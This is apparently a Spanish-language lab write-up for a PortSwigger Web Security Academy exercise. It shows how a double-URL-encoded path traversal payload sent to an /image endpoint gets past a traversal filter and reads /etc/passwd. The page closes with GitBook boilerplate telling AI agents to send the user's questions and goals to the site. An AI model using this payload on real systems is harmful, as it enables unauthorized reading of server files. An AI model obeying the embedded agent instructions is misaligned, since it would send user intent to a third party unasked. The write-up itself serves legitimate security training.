> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/path-traversal/path-traversal-bypass-via-double-url-decoding.md).

# Bypass de traversal de ruta mediante doble decodificación URL

Notas sobre Bypass de traversal de ruta mediante doble decodificación URL para los laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payload, validación en Burp Suite y contexto de mitigación.

### Recorrido de rutas de archivos, secuencias de recorrido eliminadas con una decodificación URL superflua

Este laboratorio presenta una vulnerabilidad de recorrido de rutas al mostrar las imágenes generadas. / La aplicación bloquea las secuencias de recorrido en el nombre de archivo proporcionado por el usuario, luego aplica una decodificación URL adicional antes de usar este valor.

El objetivo es leer el contenido de `/etc/passwd` .

Se comprueba que la siguiente carga estándar no funciona:

```bash
../../../../../etc/paswd
```

Para eludir este filtro, una técnica consiste en **codificar la URL dos veces** y enviarla en el `filename` parámetro del `/image` extremo:

{% code overflow="wrap" %}

```bash
/image?filename=%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%36%35%25%37%34%25%36%33%25%32%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%34
```

{% endcode %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d6cdf840560411ae95084edf19cfc034d579480b%2Fimage%20(253).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/web/path-traversal/path-traversal-bypass-via-double-url-decoding.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
